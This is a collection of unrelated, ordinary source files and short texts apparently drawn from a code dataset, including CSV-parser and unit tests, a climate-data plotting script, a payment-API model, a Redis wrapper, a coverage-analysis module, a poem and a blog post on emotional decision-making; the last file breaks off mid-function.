text:
module TestReadField
    using Base.Test
    using CSVReaders

    io = IOBuffer()

    write(io, """
        1,1.0,true,foo
        -2,NaN,false,bar
        123,1e-301,NULL,"this is some quoted text"
        13"45"5,NaN,false,I "have ""got"" some" text for you
         1 , 3.1 , TRUE , NA
    """)
    seek(io, 0)

    reader = CSVReaders.CSVReader()

    finished = false
    i = 0
    coltypes = [
        CSVReaders.Codes.INT,
        CSVReaders.Codes.FLOAT,
        CSVReaders.Codes.BOOL,
        CSVReaders.Codes.STRING
    ]
    while !finished
        i += 1
        for j in 1:4
            nbytes = CSVReaders.readfield(io, reader, coltypes[j])
            if j == 1 && reader.eof && isempty(reader.main)
                finished = true
                break
            end
            if i == 1
                if j == 1
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.INT
                    @test reader.int === 1
                elseif j == 2
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.FLOAT
                    @test reader.float === 1.0
                elseif j == 3
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.BOOL
                    @test reader.bool === true
                elseif j == 4
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.STRING
                    @test reader.string == "foo"
                end
            elseif i == 2
                if j == 1
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.INT
                    @test reader.int === -2
                elseif j == 2
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.FLOAT
                    @test reader.float === NaN
                elseif j == 3
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.BOOL
                    @test reader.bool === false
                elseif j == 4
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.STRING
                    @test reader.string == "bar"
                end
            elseif i == 3
                if j == 1
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.INT
                    @test reader.int === 123
                elseif j == 2
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.FLOAT
                    @test reader.float === 1e-301
                elseif j == 3
                    @test reader.isnull === true
                elseif j == 4
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.STRING
                    @test reader.string == "this is some quoted text"
                end
            elseif i == 4
                if j == 1
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.INT
                    @test reader.int === 13455
                elseif j == 2
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.FLOAT
                    @test reader.float === NaN
                elseif j == 3
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.BOOL
                    @test reader.bool === false
                elseif j == 4
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.STRING
                    @test reader.string == "I have \"got\" some text for you"
                end
            elseif i == 5
                if j == 1
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.INT
                    @test reader.int === 1
                elseif j == 2
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.FLOAT
                    @test reader.float === 3.1
                elseif j == 3
                    @test reader.isnull === false
                    @test reader.current_type == CSVReaders.Codes.BOOL
                    @test reader.bool === true
                elseif j == 4
                    @test reader.isnull === true
                end
            end
        end
    end
end

redpajama_set_name: RedPajamaGithub


text:
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
from mpl_toolkits.basemap import Basemap
import xray
from datetime import datetime

# My modules:
import atmos.utils as utils
import atmos.plots as ap
import atmos.data as dat
import atmos.variables as av
from atmos.utils import print_if
from atmos.constants import const as constants
from atmos.data import get_coord

# ----------------------------------------------------------------------
# Read some data from OpenDAP url

url = ('http://goldsmr3.sci.gsfc.nasa.gov/opendap/MERRA_MONTHLY/'
    'MAIMCPASM.5.2.0/1979/MERRA100.prod.assim.instM_3d_asm_Cp.197901.hdf')

ds = xray.open_dataset(url)
T = ds['T']
ps = ds['PS']
q = ds['QV']

lat = get_coord(T, 'lat')
lon = get_coord(T, 'lon')
plev = get_coord(T, 'plev')
pname = get_coord(T, 'plev', 'name')
units_in = dat.pres_units(T[pname].units)
plev = dat.pres_convert(plev, units_in, 'Pa')
p0 = 1e5

print('Calculating potential temperature')
theta = av.potential_temp(T, plev, p0)
print('Calculating equivalent potential temperature')
theta_e = av.equiv_potential_temp(T, plev, q, p0)

# t, k = 0, 6
# t, k = 0, 22
t, k = 0, 14
pstr = '%d hPa' % (plev[k]/100)
plt.figure(figsize=(7,10))
plt.subplot(311)
ap.pcolor_latlon(T[t,k])
plt.title('Temperature ' + pstr)
plt.subplot(312)
ap.pcolor_latlon(theta[t,k])
plt.title('Potential Temperature ' + pstr)
plt.subplot(313)
ap.pcolor_latlon(theta_e[t,k])
plt.title('Equiv Potential Temperature ' + pstr)

ps.dims
plt.figure()
ap.pcolor_latlon(ps,cmap='hot')


text:
import Loader, { LoaderComponent }  from '../../app/containers/Loader';
import { shallow } from 'enzyme';
import React from 'react';
import configureMockStore from 'redux-mock-store';
import thunk from 'redux-thunk';
const middlewares = [ thunk ]
const mockStore = configureMockStore(middlewares);

test('Loader Containerloaded', () => {
  expect(Loader).toBeDefined();
});

test('LoaderComponent:test', () => {
  expect(LoaderComponent).toBeDefined();
  const loaderComponent = shallow(<LoaderComponent />);
  expect(loaderComponent).toBeDefined();
  expect(loaderComponent.find('.loader-wrapper').length).toEqual(1);
});

test('LoaderComponent:test', () => {
  const store = mockStore({})
  const loader = shallow(<Loader store={store}/>);
  expect(loader).toBeDefined();
});


text:
/* eslint-disable no-new */
/* eslint-disable no-unused-expressions */

import { expect } from 'chai';
import deploymentOptions from '../../../jdl/jhipster/deployment-options';

const { DeploymentTypes, Options } = deploymentOptions;

describe('DeploymentOptions', () => {
  describe('DeploymentTypes', () => {
    describe('exists', () => {
      context('when passing a nil arg', () => {
        it('should return false', () => {
          expect(DeploymentTypes.exists()).to.be.false;
        });
      });
      context('when passing an invalid type', () => {
        it('should return false', () => {
          expect(DeploymentTypes.exists('NotAType')).to.be.false;
        });
      });
      context('when passing a valid type', () => {
        it('should return true', () => {
          expect(DeploymentTypes.exists(DeploymentTypes.DOCKERCOMPOSE)).to.be.true;
          expect(DeploymentTypes.exists(DeploymentTypes.KUBERNETES)).to.be.true;
        });
      });
    });
  });

  describe('Options', () => {
    describe('defaults', () => {
      context('when passing no args', () => {
        it('should return docker deployment config', () => {
          expect(Options.defaults()).to.eql({
            appsFolders: new Set(),
            clusteredDbApps: new Set(),
            directoryPath: '../',
            gatewayType: 'SpringCloudGateway',
            monitoring: 'no',
            serviceDiscoveryType: 'eureka',
          });
        });
      });
      context('when passing kubernetes as arg', () => {
        it('should return kubernetes deployment config', () => {
          expect(Options.defaults('kubernetes')).to.eql({
            appsFolders: new Set(),
            clusteredDbApps: new Set(),
            directoryPath: '../',
            dockerPushCommand: 'docker push',
            dockerRepositoryName: '',
            kubernetesUseDynamicStorage: false,
            kubernetesStorageClassName: '',
            monitoring: 'no',
            serviceDiscoveryType: 'eureka',
            ingressDomain: '',
            istio: false,
            kubernetesNamespace: 'default',
            kubernetesServiceType: 'LoadBalancer',
          });
        });
      });
      context('when passing openshift as arg', () => {
        it('should return openshift deployment config', () => {
          expect(Options.defaults('openshift')).to.eql({
            appsFolders: new Set(),
            clusteredDbApps: new Set(),
            directoryPath: '../',
            dockerPushCommand: 'docker push',
            dockerRepositoryName: '',
            monitoring: 'no',
            serviceDiscoveryType: 'eureka',
            openshiftNamespace: 'default',
            storageType: 'ephemeral',
            registryReplicas: 2,
          });
        });
      });
    });
  });
});


text:
layout: post
title: "When Trusting Your Emotions Is a Bad Idea"
modified:
categories: posts
excerpt: "The majority of our decisions are based on out gut feeling, but there are times that it can mislead us badly. It is possible to end up with paranoid decisions after having chocolate!"
tags: [ decision ]
image:
  feature:
date: 2015-04-30T12:20:29-04:00
---

We make decisions all the time, and the majority of these decisions are based on how we feel about the choices we face (or more accurately the choices we have in mind).
It usually works out OK. It has flaws, as evident by our limited self control, casing problems like obesity, violence, racism, sexism, patriotisms, and like.
Definitely if we had other means of make "efficient" decisions we should have considered it, but we don't.

Maybe the most important problem here is not that we make bad decisions, but that we are too confident about the "obvious correctness" of these decisions that we make based on our feelings.
If you deliberate and research your treatment options when you have a serious disease, or research a car or home you want to buy you most likely will have less confidence in the correctness of the decision you will end up with compared to when you decide to vote for a candidate that "feels right" or go on a date or go to a trip that "sounds fun".

The other side of this is the somatic associations of gut feelings.
Like you might "feel" the same, when you have acid reflux, and when you are suspicious of a situation or a person. This means that if you have chocolate you will end up with more paranoid decisions.


text:
package com.iyzipay.model;

import java.math.BigDecimal;

import com.iyzipay.HttpClient;
import com.iyzipay.IyzipayResource;
import com.iyzipay.Options;
import com.iyzipay.request.CreateCancelRequest;

public class Cancel extends IyzipayResource {

    private String paymentId;
    private BigDecimal price;
    private String currency;
    private String connectorName;
    private String authCode;
    private String hostReference;

    public static Cancel create(CreateCancelRequest request, Options options) {
        return HttpClient.create().post(options.getBaseUrl() + "/payment/cancel",
                getHttpProxy(options),
                getHttpHeaders(request, options),
                request,
                Cancel.class);
    }

    public String getPaymentId() {
        return paymentId;
    }

    public void setPaymentId(String paymentId) {
        this.paymentId = paymentId;
    }

    public BigDecimal getPrice() {
        return price;
    }

    public void setPrice(BigDecimal price) {
        this.price = price;
    }

    public String getCurrency() {
        return currency;
    }

    public void setCurrency(String currency) {
        this.currency = currency;
    }

    public String getConnectorName() {
        return connectorName;
    }

    public void setConnectorName(String connectorName) {
        this.connectorName = connectorName;
    }

    public String getAuthCode() {
        return authCode;
    }

    public void setAuthCode(String authCode) {
        this.authCode = authCode;
    }

    public String getHostReference() {
        return hostReference;
    }

    public void setHostReference(String hostReference) {
        this.hostReference = hostReference;
    }
}


text:
#include <stddef.h>

#include "runtime.h"
#include "go-assert.h"
#include "map.h"

/* Return the length of a map.  This could be done inline, of course,
   but I'm doing it as a function for now to make it easy to change
   the map structure.  */

intgo
__go_map_len (struct __go_map *map)
{
  if (map == NULL)
    return 0;
  __go_assert (map->__element_count
	       == (uintptr_t) (intgo) map->__element_count);
  return map->__element_count;
}


text:
After that storm,
was a Sacred Silence,
before the Light came
descending quickly,
transforming the water into spirit.

Moving now,
up,
breathing spirit
into Star people,
Father Sky,
Grandmother Moon,
Grandfather Sun,
Mother Earth,
Four Directions,
Winds,
then Clouds.
Oh, the spirits of earth,
high up, are born.

Winged Spirits
await the Creators breath,
bringing a oneness,
connecting the highs
to the down belows.

Circling with the wind,
they meet their journey within.
Bent on a breeze,
feathered and fluttered,
they know who they are to be.
They circle and travel the cycle
the spin of a day
before settling down, into the night.

Breathing spirit
into four leggeds,
creeping and crawling,
standing and stone,
the swimming and water ones.
Becoming and knowing, what they are,
where they fit,
shadowed or lit.

All earth's spirits
connecting into harmony,
fitting and aligning
their shadows to the light.
Being the balance of life.
Breathing spirit into human being;
a mind, with  eagle's sight.
A heart, to be good and right,
inwardly lit,
sacred like the pipe.

What is remembered,
from that purposeful start,
that hopeful beginning,
became lost in the dark.
From a heart misaligned,
came ill gotten shadows.
'What are these?
and where are they from,
when I was only looking for the sun'.

For what came from light,
emphasized shadow.
'Not mine' says he,
 becoming hallow,
'I've only light'.
Discarded, his dark
forever skewed and out of balance,
not whole and without the defining
wandering in the unknown all the while.

As the speechless ones know,
their songs and chirps,
rustles and lappings,
hoots and howls,
warbles and whistles,
thunders and gales,
the truth.

That this breathing Spirit Place
was a Sacred gift of promise.
One that that was fulfilled in Creation,
a Spirit Place,
now blighted,
with words and works, disowned.

LauraLee K. Harris


text:
package com.datumbox.framework.core.statistics.sampling;

import com.datumbox.framework.common.dataobjects.FlatDataCollection;
import com.datumbox.framework.common.dataobjects.FlatDataList;
import com.datumbox.framework.tests.Constants;
import com.datumbox.framework.tests.abstracts.AbstractTest;
import org.junit.Test;

import java.util.Arrays;

import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;

/**
 * Test cases for SystematicSampling.
 *
 * @author Vasilis Vryniotis <bbriniotis@datumbox.com>
 */
public class SystematicSamplingTest extends AbstractTest {

    private FlatDataCollection generateFlatDataCollection() {
        //Example from Papageorgious' notes
        FlatDataCollection flatDataCollection = new FlatDataCollection(Arrays.asList(new Object[]{54,16,250,8,145,62,64,55,87,23,60,120,18,29,320,160,102,12,28,280,130,45,74,340}));
        return flatDataCollection;
    }

    /**
     * Test of randomSampling method, of class SystematicSampling.
     */
    @Test
    public void testRandomSampling() {
        logger.info("randomSampling");
        FlatDataList idList = new FlatDataList(Arrays.asList(new Object[]{0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16}));
        int n = 6;
        boolean randomizeRecords = false;
        double expResult = n;
        FlatDataCollection sampledIds = SystematicSampling.randomSampling(idList, n, randomizeRecords);
        double result = sampledIds.size();
        assertTrue(result>=expResult);
    }

    /**
     * Test of mean method, of class SystematicSampling.
     */
    @Test
    public void testMean() {
        logger.info("mean");
        FlatDataCollection flatDataCollection = generateFlatDataCollection();
        double expResult = 103.41666666667;
        double result = SystematicSampling.mean(flatDataCollection);
        assertEquals(expResult, result, Constants.DOUBLE_ACCURACY_HIGH);
    }

    /**
     * Test of xbarVariance method, of class SystematicSampling.
     */
    @Test
    public void testXbarVariance() {
        logger.info("xbarVariance");
        FlatDataCollection flatDataCollection = generateFlatDataCollection();
        double expResult = 405.75;
        double result = SystematicSampling.xbarVariance(flatDataCollection);
        assertEquals(expResult, result, Constants.DOUBLE_ACCURACY_HIGH);
    }

    /**
     * Test of xbarStd method, of class SystematicSampling.
     */
    @Test
    public void testXbarStd() {
        logger.info("xbarStd");
        FlatDataCollection flatDataCollection = generateFlatDataCollection();
        double expResult = 20.143237078484;
        double result = SystematicSampling.xbarStd(flatDataCollection);
        assertEquals(expResult, result, Constants.DOUBLE_ACCURACY_HIGH);
    }

}


text:
package br.com.devfest.norte.sync.userdata;

import android.content.Context;

import br.com.devfest.norte.sync.userdata.http.HTTPUserDataSyncHelper;

/**
 * A simple factory to isolate the decision of which synchelper should be used.
 *
 * Currently, the HTTP sync helper is always returned, because of the early stage of
 * the GMS version. In the future, this can be changed.
 *
**/

public class UserDataSyncHelperFactory {
    public static AbstractUserDataSyncHelper buildSyncHelper(Context context, String accountName) {
        return new HTTPUserDataSyncHelper(context, accountName);
    }
}


text:
module ExpressTranslate
  class Database
    include ExpressTranslate
    require 'redis'

    def self.redis
      host = ExpressTranslate.config["connect"]["host"]
      port = ExpressTranslate.config["connect"]["port"]
      db = ExpressTranslate.config["connect"]["db"]
      password =ExpressTranslate.config["connect"]["password"]

      @redis ||= Redis.new(:url => "redis://:#{password}@#{host}:#{port}/#{db}")
    end

    def self.set(key, obj)
      self.redis.set(key, obj.to_json)
    end

    def self.get(key)
      data = self.redis.get(key)
      data = JSON.parse(data) if data.present?
      data
    end

    def self.del(key)
      self.redis.del(key)
    end

    def self.clear
      self.redis.keys("*").each do |key|
        self.redis.del(key)
      end
    end
  end
end


text:
<ng-container *ngIf="componentViewer.componentDocItem | async; let docItem">
  <h2 class="cdk-visually-hidden" tabindex="-1">
    Overview for {{docItem.id}}
  </h2>
  <doc-viewer [documentUrl]="getOverviewDocumentUrl(docItem)"
      class="docs-component-view-text-content docs-component-overview"
      (contentRendered)="updateTableOfContents('Overview Content', $event)">
  </doc-viewer>
  <table-of-contents #toc container=".mat-drawer-content" *ngIf="showToc | async"></table-of-contents>
</ng-container>


text:
<!doctype html>

	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<title>"config/SaNGreeAConfig_house" | Graphinius</title>
	<meta name="description" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="stylesheet" href="../assets/css/main.css">

						Search
						<input id="tsd-search-field" type="text" />

Preparing search index...

The search index is not available

					Graphinius

						Options

								All

Public

Public/Protected

All

							<input type="checkbox" id="tsd-filter-inherited" checked />
							Inherited
							<input type="checkbox" id="tsd-filter-externals" checked />
							Externals
							<input type="checkbox" id="tsd-filter-only-exported" />
							Only exported

					Menu

					Globals

					"config/SaNGreeAConfig_house"

External module "config/SaNGreeAConfig_house"

Index

Object literals

CONFIG

Object literals

CONFIG

CONFIG: object

Defined in config/SaNGreeAConfig_house.ts:1

ALPHA

ALPHA: number

Defined in config/SaNGreeAConfig_house.ts:29

AVERAGE_<wbr>OUTPUT_<wbr>RANGES

AVERAGE_<wbr>OUTPUT_<wbr>RANGES: boolean

Defined in config/SaNGreeAConfig_house.ts:17

BETA

BETA: number

Defined in config/SaNGreeAConfig_house.ts:31

EDGE_<wbr>MAX

EDGE_<wbr>MAX: number

Defined in config/SaNGreeAConfig_house.ts:25

EDGE_<wbr>MIN

EDGE_<wbr>MIN: number

Defined in config/SaNGreeAConfig_house.ts:23

INPUT_<wbr>FILE

INPUT_<wbr>FILE: string

Defined in config/SaNGreeAConfig_house.ts:7

K_<wbr>FACTOR

K_<wbr>FACTOR: number

Defined in config/SaNGreeAConfig_house.ts:27

NR_<wbr>DRAWS

NR_<wbr>DRAWS: number

Defined in config/SaNGreeAConfig_house.ts:19

RANDOM_<wbr>DRAWS

RANDOM_<wbr>DRAWS: boolean

Defined in config/SaNGreeAConfig_house.ts:21

REMOTE_<wbr>TARGET

REMOTE_<wbr>TARGET: string

Defined in config/SaNGreeAConfig_house.ts:5

REMOTE_<wbr>URL

REMOTE_<wbr>URL: string

Defined in config/SaNGreeAConfig_house.ts:3

SEPARATOR

SEPARATOR: string

Defined in config/SaNGreeAConfig_house.ts:12

SEP_<wbr>MOD

SEP_<wbr>MOD: string

Defined in config/SaNGreeAConfig_house.ts:13

TARGET_<wbr>COLUMN

TARGET_<wbr>COLUMN: string

Defined in config/SaNGreeAConfig_house.ts:15

TRIM

TRIM: string

Defined in config/SaNGreeAConfig_house.ts:9

TRIM_<wbr>MOD

TRIM_<wbr>MOD: string

Defined in config/SaNGreeAConfig_house.ts:10

VECTOR

VECTOR: string

Defined in config/SaNGreeAConfig_house.ts:53

GEN_<wbr>WEIGHT_<wbr>VECTORS

GEN_<wbr>WEIGHT_<wbr>VECTORS: object

Defined in config/SaNGreeAConfig_house.ts:33

equal

equal: object

Defined in config/SaNGreeAConfig_house.ts:34

range

range: object

Defined in config/SaNGreeAConfig_house.ts:35

AGE

AGE: number

Defined in config/SaNGreeAConfig_house.ts:42

B

B: number

Defined in config/SaNGreeAConfig_house.ts:47

CHAS

CHAS: number

Defined in config/SaNGreeAConfig_house.ts:39

CRIM

CRIM: number

Defined in config/SaNGreeAConfig_house.ts:36

DIS

DIS: number

Defined in config/SaNGreeAConfig_house.ts:43

INDUS

INDUS: number

Defined in config/SaNGreeAConfig_house.ts:38

LSTAT

LSTAT: number

Defined in config/SaNGreeAConfig_house.ts:48

NOX

NOX: number

Defined in config/SaNGreeAConfig_house.ts:40

PTRATIO

PTRATIO: number

Defined in config/SaNGreeAConfig_house.ts:46

RAD

RAD: number

Defined in config/SaNGreeAConfig_house.ts:44

RM

RM: number

Defined in config/SaNGreeAConfig_house.ts:41

TAX

TAX: number

Defined in config/SaNGreeAConfig_house.ts:45

ZN

ZN: number

Defined in config/SaNGreeAConfig_house.ts:37

						Globals

						"<wbr>SaNGree<wbr>A/SNDistance<wbr>Funcs"

						"<wbr>SaNGree<wbr>A/SaNGree<wbr>A"

						"config/<wbr>SaNGreeAConfig_<wbr>adult"

						"config/<wbr>SaNGreeAConfig_<wbr>house"

						"core/<wbr>Equivalence<wbr>Class"

						"core/<wbr>Gen<wbr>Hierarchies"

						"io/CSVInput"

						"io/CSVOutput"

						CONFIG

Legend

Module

Object literal

Variable

Function

Function with type parameter

Index signature

Type alias

Enumeration

Enumeration member

Property

Method

Interface

Interface with type parameter

Constructor

Property

Method

Index signature

Class

Class with type parameter

Constructor

Property

Method

Accessor

Index signature

Inherited constructor

Inherited property

Inherited method

Inherited accessor

Protected property

Protected method

Protected accessor

Private property

Private method

Private accessor

Static property

Static method

Generated using TypeDoc


text:
"""Results of coverage measurement."""

import collections

from coverage.backward import iitems
from coverage.misc import format_lines

class Analysis(object):
    """The results of analyzing a FileReporter."""

    def __init__(self, data, file_reporter):
        self.data = data
        self.file_reporter = file_reporter
        self.filename = self.file_reporter.filename
        self.statements = self.file_reporter.lines()
        self.excluded = self.file_reporter.excluded_lines()

        # Identify missing statements.
        executed = self.data.lines(self.filename) or []
        executed = self.file_reporter.translate_lines(executed)
        self.missing = self.statements - executed

        if self.data.has_arcs():
            self._arc_possibilities = sorted(self.file_reporter.arcs())
            self.exit_counts = self.file_reporter.exit_counts()
            self.no_branch = self.file_reporter.no_branch_lines()
            n_branches = self.total_branches()
            mba = self.missing_branch_arcs()
            n_partial_branches = sum(
                len(v) for k,v in iitems(mba) if k not in self.missing
                )
            n_missing_branches = sum(len(v) for k,v in iitems(mba))
        else:
            self._arc_possibilities = []
            self.exit_counts = {}
            self.no_branch = set()
            n_branches = n_partial_branches = n_missing_branches = 0

        self.numbers = Numbers(
            n_files=1,
            n_statements=len(self.statements),
            n_excluded=len(self.excluded),
            n_missing=len(self.missing),
            n_branches=n_branches,
            n_partial_branches=n_partial_branches,
            n_missing_branches=n_missing_branches,
            )

    def missing_formatted(self):
        """The missing line numbers, formatted nicely.

        Returns a string like "1-2, 5-11, 13-14".

        """
        return format_lines(self.statements, self.missing)

    def has_arcs(self):
        """Were arcs measured in this result?"""
        return self.data.has_arcs()

    def arc_possibilities(self):
        """Returns a sorted list of the arcs in the code."""
        return self._arc_possibilities

    def arcs_executed(self):
        """Returns a sorted list of the arcs actually executed in the code."""
        executed = self.data.arcs(self.filename) or []
        executed = self.file_reporter.translate_arcs(executed)
        return sorted(executed)

    def arcs_missing(self):
        """Returns a sorted list of the arcs in the code not executed."""
        possible = self.arc_possibilities()
        executed = self.arcs_executed()
        missing = (
            p for p in possible
                if p not in executed
                    and p[0] not in self.no_branch
        )
        return sorted(missing)

    def arcs_missing_formatted(self):
        """ The missing branch arcs, formatted nicely.

        Returns a string like "1->2, 1->3, 16->20". Omits any mention of
        branches from missing lines, so if line 17 is missing, then 17->18
        won't be included.

        """
        arcs = self.missing_branch_arcs()
        missing = self.missing
        line_exits = sorted(iitems(arcs))
        pairs = []
        for line, exits in line_exits:
            for ex in sorted(exits):
                if line not in missing:
                    pairs.append('%d->%d' % (line, ex))
        return ', '.join(pairs)

    def arcs_unpredicted(self):
        """Returns a sorted list of the executed arcs missing from the code."""
        possible = self.arc_possibilities()
        executed = self.arcs_executed()
        # Exclude arcs here which connect a line to itself.  They can occur
        # in executed data in some cases.  This is where they can cause
        # trouble, and here is where it's the least burden to remove them.
        # Also, generators can somehow cause arcs from "enter" to "exit", so
        # make sure we have at least one positive value.
        unpredicted = (
            e for e in executed
                if e not in possible
                    and e[0] != e[1]
                    and (e[0] > 0 or e[1] > 0)
        )
        return sorted(unpredicted)

    def branch_lines(self):
        """Returns a list of line numbers that have more than one exit."""
        return [l1 for l1,count in iitems(self.exit_counts) if count > 1]

    def total_branches(self):
        """How many total branches are there?"""
        return sum(count for count in self.exit_counts.values() if count > 1)

    def missing_branch_arcs(self):
        """Return arcs that weren't executed from branch lines.

        Returns {l1:[l2a,l2b,...], ...}

        """
        missing = self.arcs_missing()
        branch_lines = set(self.branch_lines())
        mba = collections.defaultdict(list)
        for l1, l2 in missing:
            if l1 in branch_lines:
                mba[l1].append(l2)
        return mba

    def branch_stats(self):
        """Get stats about branches.

        Returns a dict mapping line numbers to a tuple:
        (total_exits, taken_exits).
        """

        missing_arcs = self.missing_branch_arcs()
        stats = {}
        for lnum in self.branch_lines():
            exits = self.exit_counts[lnum]
            try:
                missing = len(missing_arcs[lnum])
            except KeyError:
                missing = 0
            stats[lnum] = (exits, exits - missing)
        return stats

class Numbers(object):
    """The numerical results of measuring coverage.

    This holds the basic statistics from `Analysis`, and is used to roll
    up statistics across files.

    """
    # A global to determine the precision on coverage percentages, the number
    # of decimal places.
    _precision = 0
    _near0 = 1.0              # These will change when _precision is changed.
    _near100 = 99.0

    def __init__(self, n_files=0, n_statements=0, n_excluded=0, n_missing=0,
                    n_branches=0, n_partial_branches=0, n_missing_branches=0
                    ):
        self.n_files = n_files
        self.n_statements = n_statements
        self.n_excluded = n_excluded
        self.n_missing = n_missing
        self.n_branches = n_branches
        self.n_partial_branches = n_partial_branches
        self.n_missing_branches = n_missing_branches

    def init_args(self):
        """Return a list for __init__(*args) to recreate this object."""
        return [
            self.n_files, self.n_statements, self.n_excluded, self.n_missing,
            self.n_branches, self.n_partial_branches, self.n_missing_branches,
        ]

    @classmethod
    def set_precision(cls, precision):
        """Set the number of decimal places used to report percentages."""
        assert 0 <= precision < 10
        cls._precision = precision
        cls._near0 = 1.0 / 10**precision
        cls._near100 = 100.0 - cls._near0

    @property
    def n_executed(self):
        """Returns the number of executed statements."""
        return self.n_statements - self.n_missing

    @property
    def n_executed_branches(self):
        """Returns the number of executed branches."""
        return self.n_branches - self.n_missing_branches

    @property
    def pc_covered(self):
        """Returns a single percentage value for coverage."""
        if self.n_statements > 0:
            numerator, denominator = self.ratio_covered
            pc_cov = (100.0 * numerator) / denominator
        else:
            pc_cov = 100.0
        return pc_cov

    @property
    def pc_covered_str(self):
        """Returns the percent covered, as a string, without a percent sign.

        Note that "0" is only returned when the value is truly zero, and "100"
        is only returned when the value is truly 100.  Rounding can never
        result in either "0" or "100".

        """
        pc = self.pc_covered
        if 0 < pc < self._near0:
            pc = self._near0
        elif self._near100 < pc < 100:
            pc = self._near100
        else:
            pc = round(pc, self._precision)
        return "%.*f" % (self._precision, pc)

    @classmethod
    def pc_str_width(cls):
        """How many characters wide can pc_covered_str be?"""
        width = 3   # "100"
        if cls._precision > 0:
            width += 1 + cls._precision
        return width

    @property
    def ratio_covered(self):
        """Return a numerator and denominator for the coverage ratio."""
        numerator = self.n_executed + self.n_executed_branches
        denominator = self.n_statements + self.n_branches
        return numerator, denominator

    def __add__(self, other):
        nums = Numbers()
        nums.n_files = self.n_files + other.n_files
        nums.n_statements = self.n_statements + other.n_statements
        nums.n_excluded = self.n_excluded + other.n_excluded
        nums.n_missing = self.n_missing + other.n_missing
        nums.n_branches = self.n_branches + other.n_branches
        nums.n_partial_branches = (
            self.n_partial_branches + other.n_partial_branches
            )
        nums.n_missing_branches = (
            self.n_missing_branches + other.n_missing_branches
            )
        return nums

    def __radd__(self, other):
        # Implementing 0+Numbers allows us to sum() a list of Numbers.
        if other == 0:
            return self
        return NotImplemented


text:
namespace Glimpse.Agent.Internal.Messaging
{
    public interface IMessageConverter
    {
        IMessage ConvertMessage(object payload, MessageContext context, int ordinal);
    }
}


text:
class AccountId;

namespace chromeos {

class LoginDisplayWebUIHandler;
class OobeUI;

// Class that manages control flow between wizard screens. Wizard controller
// interacts with screen controllers to move the user between screens.
//
// This class is allocated when the signin or lock screen is actually visible to
// the user. It is a 'per-session' class; SignInScreenHandler, in comparsion, is
// tied to the WebContents lifetime and therefore may live beyond this class.
class SignInScreenController : public user_manager::RemoveUserDelegate,
                               public user_manager::UserManager::Observer {
 public:
  explicit SignInScreenController(OobeUI* oobe_ui);
  ~SignInScreenController() override;

  // Returns the default wizard controller if it has been created.
  static SignInScreenController* Get() { return instance_; }

  void SetWebUIHandler(LoginDisplayWebUIHandler* webui_handler);

  // Set up the list of users for user selection screen.
  // TODO(antrim): replace with querying for this data.
  void Init(const user_manager::UserList& users);

  // Called when signin screen is ready.
  void OnSigninScreenReady();

  // Query to send list of users to user selection screen.
  void SendUserList();

  // Runs OAauth token validity check.
  void CheckUserStatus(const AccountId& account_id);

  // Query to remove user with specified id.
  // TODO(antrim): move to user selection screen handler.
  void RemoveUser(const AccountId& account_id);

 private:
  // user_manager::RemoveUserDelegate implementation:
  void OnBeforeUserRemoved(const AccountId& account_id) override;
  void OnUserRemoved(const AccountId& account_id) override;

  // user_manager::UserManager::Observer implementation:
  void OnUserImageChanged(const user_manager::User& user) override;

  static SignInScreenController* instance_;

  OobeUI* oobe_ui_ = nullptr;

  // Reference to the WebUI handling layer for the login screen
  LoginDisplayWebUIHandler* webui_handler_ = nullptr;

  std::unique_ptr<GaiaScreen> gaia_screen_;
  std::unique_ptr<UserSelectionScreen> user_selection_screen_;

  base::WeakPtr<UserBoardView> user_board_view_;

  DISALLOW_COPY_AND_ASSIGN(SignInScreenController);
};

}  // namespace chromeos

#endif  // CHROME_BROWSER_CHROMEOS_LOGIN_SIGNIN_SCREEN_CONTROLLER_H_


text:
/*
 * Authors:
 *   Rickard E. (Rik) Faith <faith@redhat.com>
 *
 */

/** \file
 * This file implements the server-side part of the DMX protocol. A
 * vector of fucntions is provided at extension initialization time, so
 * most all of the useful functions in this file are declared static and
 * do not appear in the doxygen documentation.
 *
 * Much of the low-level work is done by functions in \a dmxextension.c
 *
 * Please see the Client-to-Server DMX Extension to the X Protocol
 * document for details about the protocol.  */

#ifdef HAVE_DMX_CONFIG_H
#include <dmx-config.h>
#endif

#include <X11/X.h>
#include <X11/Xproto.h>
#include "misc.h"
#include "os.h"
#include "dixstruct.h"
#include "extnsionst.h"
#include "opaque.h"

#include "dmxextension.h"
#include <X11/extensions/dmxproto.h>
#include <X11/extensions/dmx.h>
#include "protocol-versions.h"

#ifdef PANORAMIX
#include "panoramiX.h"
extern unsigned long XRT_WINDOW;
extern int           PanoramiXNumScreens;
#endif

extern void DMXExtensionInit(void);

static unsigned char DMXCode;

static int _DMXXineramaActive(void)
{
#ifdef PANORAMIX
    return !noPanoramiXExtension;
#endif
    return 0;
}

static void dmxSetScreenAttribute(int bit, DMXScreenAttributesPtr attr,
                                  CARD32 value)
{
    switch (1 << bit) {
    case DMXScreenWindowWidth:   attr->screenWindowWidth   = value; break;
    case DMXScreenWindowHeight:  attr->screenWindowHeight  = value; break;
    case DMXScreenWindowXoffset: attr->screenWindowXoffset = value; break;
    case DMXScreenWindowYoffset: attr->screenWindowYoffset = value; break;
